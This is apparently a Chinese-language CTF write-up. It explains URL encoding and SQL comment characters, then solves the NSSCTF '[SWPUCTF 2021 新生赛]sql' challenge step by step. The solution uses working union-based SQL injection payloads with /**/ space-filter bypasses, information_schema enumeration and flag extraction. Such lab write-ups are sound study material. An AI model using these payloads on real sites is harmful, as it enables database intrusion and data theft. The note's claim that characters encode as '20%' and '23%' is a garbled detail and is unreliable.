URL在定义时,定义为只支持ASCII字符,所以URL的发送方与接收方都只能处理ASCII字符。所以当你的URL中有非ASCII字符时就需要编码转换
在Web程序中进行URL请求时,常会遇到URL中含有特殊字符的问题,常见的特殊字符有 ?$&*@等字符,或者是中文。遇到这种情况时,就要对URL进行编码,用一种规则替换掉这些特殊字符,这就是URLEncode
URLEncode 规则
1.将空格转换为加号(+)
2.对0-9、a-z、A-Z之间的字符保持不变
3.对于所有其他的字符,用这个字符的当前字符集编码在内存中的十六进制格式表示,并在每一个字节前加上一个百分号(%),如字符“+”是用%2B表示,字符“=”用%3D表示,字符“&”用%26表示,每个中文字符在内存中占两个字节,字符“中”用%D6%D0表示,字符“国”用%B9%FA表示。
4.空格也可以直接用其十六进制编码方式,即用%20表示,而不是将它转换为加号(+)
#、 --+、 --%20、 %23
1.# 、 -- (空格)、--+都是sql里的注释符,可以使它们后面的语句不被执行。
在url中,如果是get请求**(记住是get请求),也就是我们在浏览器中输入的url)** ,解释执行的时候,url中#号是用来指导浏览器动作的,对服务器端无用。所以,HTTP请求中不包括#,因此使用#闭合无法注释,会报错;而使用-- (有个空格),在传输过程中空格会被忽略,同样导致无法注释,所以在get请求传参注入时才会使用--+的方式来闭合,因为+会被解释成空格。
3.如果是post请求,则可以直接使用#来进行闭合。常见的就是表单注入,如我们在后台登录框中进行注入。
4.为什么--后面必须要有空格,而#后面就不需要?
因为使用--注释时,需要使用空格,才能形成有效的sql语句,而#后面可以有空格,也可以没有,sql就是这么规定的,记住就行了。
因为不加空格,--直接和系统自动生成的单引号连接在了一起,会被认为是一个关键词,无法注释掉系统自动生成的单引号。
在urlencode中
(空格)转换为20%
#转换为23%
NSSCTF | 在线CTF平台 ([SWPUCTF 2021 新生赛]sql)题
1.按照标题参数测试
由回显可知存在注入 ' 是注入方式
?wllm=1 正常
?wllm=1'--+ 报错
?wllm=1'-- (空格) 报错
?wllm=1'%23 正常
由回显可知注释符%23(HTTP请求中不包括#,因此使用#闭合无法注释,会报错)是可行的
2.测试过滤
空格 等号
?wllm=1 1 报错
?wllm=1/**/1 正常
?wllm=1 正常
3.测试长度
?wllm=1'order/**/by/**/3%23
长度为3
4. 测试回显
?wllm=-1'union/**/select/**/1,2,3%23
2,3回显位置
5.查库
?wllm=-1'union/**/select/**/1,2,database()%23
test_db
6.查表
?wllm=-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/'test_db'%23
LTLT_flag,users
7.查列
?wllm=-1'union/**/select/**/1,2,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema/**/like/**/'test_db'%23
id,flag,id,username
8.查内容
?wllm=-1'union/**/select/**/1,2,group_concat(flag)/**/from/**/test_db.LTLT_flag%23
NSSCTF{5ced787b-5d90
#长度不足
#因为回显只有二十个 需读三组
0-4500-b129-aad918ca
d315}
NSSCTF{5ced787b-5d90-4500-b129-aad918cad315}
(第二十位被重复读取)